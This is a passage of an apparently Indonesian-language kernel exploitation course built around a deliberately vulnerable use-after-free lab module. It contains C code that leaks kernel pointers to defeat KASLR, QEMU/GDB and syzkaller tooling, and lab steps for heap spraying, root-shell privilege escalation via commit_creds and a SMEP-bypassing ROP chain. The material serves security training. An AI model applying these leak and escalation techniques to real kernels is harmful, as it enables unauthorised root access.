 * m_list.next/prev (pointer ke kernel) dalam header-nya.
 * Dengan mengontrol m_ts (panjang pesan) menjadi lebih besar
 * dari payload aktual, msgrcv akan membaca melewati batas
 * pesan dan membocorkan data dari objek berikutnya di heap.
 *
 * Berguna ketika ada OOB write terpisah yang bisa mengubah m_ts.
 */
unsigned long leak_via_msg_oob(int msqid_victim)
{
    char bigbuf[0x1000];
    memset(bigbuf, 0, sizeof(bigbuf));

    struct {
        long mtype;
        char data[0x1000];
    } recv;

    /* Terima lebih banyak dari yang dikirim → OOB read heap */
    ssize_t r = msgrcv(msqid_victim, &recv, 0x1000, 0, MSG_COPY | IPC_NOWAIT);

    if (r > 0x80) {
        /* Data setelah payload asli = isi heap berikutnya */
        unsigned long *leak = (unsigned long *)(recv.data + 0x80);
        printf("[+] Leaked kernel ptr: 0x%lx\n", *leak);
        return *leak;
    }
    return 0;
}
C
/*
 * Method 3: physmap / direct-map leak
 *
 * Kernel memetakan seluruh RAM fisik ke virtual address space
 * via "direct map" di atas 0xffff888000000000.
 *
 * Jika kita bisa membaca arbitrary kernel VA, kita bisa
 * menelusuri struktur data kernel.
 *
 * Kombinasi dengan UAF read primitive:
 *   1. Baca 8 byte dari freed object (jika slot diisi cred/task)
 *   2. Nilai yang dibaca adalah kernel VA → hitung slide
 */
unsigned long leak_via_uaf_read(int dev_fd)
{
    struct uaf_io io;
    unsigned long leaked = 0;

    /* Alokasi, free, kemudian baca sebelum spray (slot masih berisi
     * sisa data lama — atau freelist pointer kernel!) */
    ioctl(dev_fd, UAF_ALLOC, 0);
    ioctl(dev_fd, UAF_FREE,  0);

    /* UAF_USE sekarang membaca dari slot yang baru dibebaskan.
     * Freelist pointer tersimpan di offset 0 dari slot.
     * Nilai ini adalah kernel address → bocorkan KASLR. */
    ioctl(dev_fd, UAF_USE, &io);

    /* Asumsi: name[0..7] mengandung freelist pointer */
    memcpy(&leaked, io.buf, 8);
    printf("[+] Leaked via UAF read: 0x%lx\n", leaked);
    return leaked;
}

07

Tooling: Syzkaller & GDB Kernel Debug

Setup QEMU untuk Kernel Debugging

BASH qemu_debug.sh
#!/bin/bash
# Boot kernel dengan GDB stub aktif
# Jalankan: ./qemu_debug.sh
# Di terminal lain: gdb vmlinux → target remote :1234

qemu-system-x86_64 \
    -kernel ./bzImage \
    -append "root=/dev/sda console=ttyS0 nokaslr nosmap nosmep \
             kasan=1 kasan_multi_shot=1 \
             oops=panic panic=1 \
             net.ifnames=0" \
    -drive file=./rootfs.img,format=raw \
    -m 2G \
    -smp 2 \
    -nographic \
    -s -S \
    # -s: buka GDB server di port 1234
    # -S: pause CPU saat start (tunggu GDB connect)
    -virtfs local,path=./shared,mount_tag=host0,security_model=passthrough,id=host0 \
    -netdev user,id=eth0,hostfwd=tcp::5555-:22 \
    -device virtio-net-pci,netdev=eth0 2>&1 | tee qemu.log
GDB gdb_uaf_session.gdb
# 1. Load simbol kernel
file vmlinux

# 2. Connect ke QEMU GDB stub
target remote :1234

# 3. Set breakpoint di kfree untuk tracking
hbreak kfree
commands
  # Print alamat objek yang akan di-free
  printf "kfree(%p)\n", $rdi
  # Backtrace singkat
  bt 5
  continue
end

# 4. Breakpoint di vuln_uaf ioctl handler
hbreak uaf_ioctl
commands
  printf "UAF ioctl: cmd=%d arg=%lx\n", $esi, $rdx
  continue
end

# 5. Watch pada g_obj (setelah module loaded)
# dapatkan alamat via: p &g_obj
# watch *&g_obj

# 6. Helper: print SLUB cache info untuk kmalloc-128
define slub_info
  set $cache = (struct kmem_cache *)kmalloc_caches[1][7]
  printf "kmalloc-128 size     : %d\n", $cache->object_size
  printf "kmalloc-128 freelist : %p\n", $cache->cpu_slab->freelist
end

# 7. Start eksekusi
continue

Syzkaller Syzlang — Describe UAF Interface

SYZLANG vuln_uaf.txt (syzkaller description)
# Syzkaller description untuk vuln_uaf device
# Simpan di: sys/linux/dev_vuln_uaf.txt

include <linux/ioctl.h>

resource fd_vuln_uaf[fd]

# Open device
openat$vuln_uaf(fd const[AT_FDCWD], file ptr[in, string["/dev/vuln_uaf"]],
                flags flags[open_flags], mode const[0]) fd_vuln_uaf

# ALLOC ioctl (_IO('U', 1) = 0x5501)
ioctl$UAF_ALLOC(fd fd_vuln_uaf, cmd const[0x5501], arg const[0])

# FREE ioctl  (_IO('U', 2) = 0x5502)
ioctl$UAF_FREE(fd fd_vuln_uaf, cmd const[0x5502], arg const[0])

# USE ioctl   (_IOWR('U', 3, uaf_io) = 0xc044_5503)
ioctl$UAF_USE(fd fd_vuln_uaf, cmd const[0xc0445503],
              arg ptr[in, uaf_io])

uaf_io {
    buf     array[int8, 64]
    value   int32
}
ℹ KASAN OUTPUT
Saat UAF terjadi dengan KASAN aktif, kamu akan melihat output seperti:
KASAN
BUG: KASAN: use-after-free in uaf_ioctl+0x2f4/0x340 [vuln_uaf]
Read of size 8 at addr ffff888012340048 by task exploit/1234

Allocated by task 1234:
  kzalloc at mm/slub.c:3954
  uaf_ioctl at vuln_uaf.c:57

Freed by task 1234:
  kfree at mm/slub.c:4554
  uaf_ioctl at vuln_uaf.c:73

The buggy address belongs to the object at ffff888012340000
 which belongs to the cache kmalloc-128

08

Lab Exercises

Latihan terstruktur dari level dasar hingga lanjut. Setiap latihan memiliki hints yang bisa diklik.

Tujuan: Konfirmasi bahwa bug UAF benar-benar terjadi menggunakan KASAN. Compile kernel dengan CONFIG_KASAN=y CONFIG_KASAN_INLINE=y.

Langkah:

  1. Build kernel dengan KASAN, boot di QEMU
  2. Load vuln_uaf.ko
  3. Tulis program C sederhana: ALLOC → FREE → USE (UAF_USE ioctl)
  4. Amati output KASAN di dmesg
  5. Screenshot "BUG: KASAN: use-after-free" report

Expected output: KASAN report menunjukkan alamat tepat dari alloc dan free backtrace.

Tujuan: Verifikasi bahwa msg_msg berhasil menempati slot freed objek.

Langkah:

  1. ALLOC → FREE vuln_obj
  2. Spray 256 msg_msg dengan payload berisi magic bytes 0xDEADBEEF di offset yang sesuai dengan vuln_obj.value
  3. Trigger UAF_USE dengan ioctl UAF_SHOW — amati di dmesg apakah value = 0xDEADBEEF
  4. Hitung reliability: ulangi 100x, berapa persen spray berhasil?
💡 HINT
Gunakan slabtop atau /proc/slabinfo untuk memantau objek di kmalloc-128 sebelum dan sesudah spray.

Tujuan: Bocorkan freelist pointer SLUB untuk mendapatkan kernel address → hitung KASLR slide.

  1. Boot kernel dengan nokaslr terlebih dahulu untuk baseline
  2. ALLOC → FREE (slot masuk freelist, offset 0 berisi encoded freeptr)
  3. UAF_USE langsung (sebelum spray apapun) → baca name[0..7]
  4. XOR dengan s->random ^ swab(slot_addr) untuk decode
  5. Verifikasi: decoded value harus berupa valid kernel VA (0xffff...)
  6. Ulangi dengan KASLR aktif — hitung slide dari leak

Tujuan: Eksekusi escalate_privs() di kernel context untuk mendapatkan root shell.

  1. Implementasikan heap grooming (LAB-02 sebagai dasar)
  2. Resolve commit_creds dan prepare_kernel_cred dari kallsyms
  3. Spray dengan fake_vuln_obj yang mengandung pointer ke escalate_privs
  4. Trigger UAF_USE → callback terpanggil di kernel context
  5. Verifikasi: getuid() == 0 setelah return
  6. Spawn /bin/sh -i
⚠ CATATAN
Nonaktifkan SMEP/SMAP dulu: tambahkan nosmap nosmep ke boot args. Untuk bypass SMEP, kamu perlu kROP chain (lihat LAB-05).

Tujuan: Bypass SMEP menggunakan kernel ROP chain — tanpa menonaktifkan SMEP.

  1. Gunakan ROPgadget --binary vmlinux untuk cari gadget
  2. Buat ROP chain:
    • Gadget: pop rdi ; ret → push NULL ke RDI
    • Call prepare_kernel_cred
    • Gadget: mov rdi, rax ; ret
    • Call commit_creds
    • Gadget: swapgs ; ret
    • iretq kembali ke userspace
  3. Simpan ROP chain di kernel-space buffer (bukan userspace)
  4. Set callback = pointer ke awal ROP chain
  5. Trigger → chain dieksekusi di kernel context
ℹ RESOURCE
Lihat writeup CVE-2022-0847 (Dirty Pipe) dan tulisan @w1sdom di Medium untuk referensi SMEP bypass via kROP lengkap.

▸ QUICK REFERENCE — PENTING DIHAFALKAN
FUNGSI/MACROHEADERKEGUNAAN EXPLOIT
kmalloc(size, GFP_KERNEL)linux/slab.hAlokasi slab object
kzalloc(size, GFP_KERNEL)linux/slab.hAlokasi + zero-init
kfree(ptr)linux/slab.hDeallokasi (jangan lupa NULL-kan ptr!)
kmem_cache_alloc(cache, flags)linux/slab.hAlloc dari cache spesifik
prepare_kernel_cred(NULL)linux/cred.hBuat root credential
commit_creds(cred)linux/cred.hTerapkan credential ke task saat ini
msgget/msgsnd/msgrcvsys/msg.hSpray via msg_msg
pipe()unistd.hSpray pipe_buffer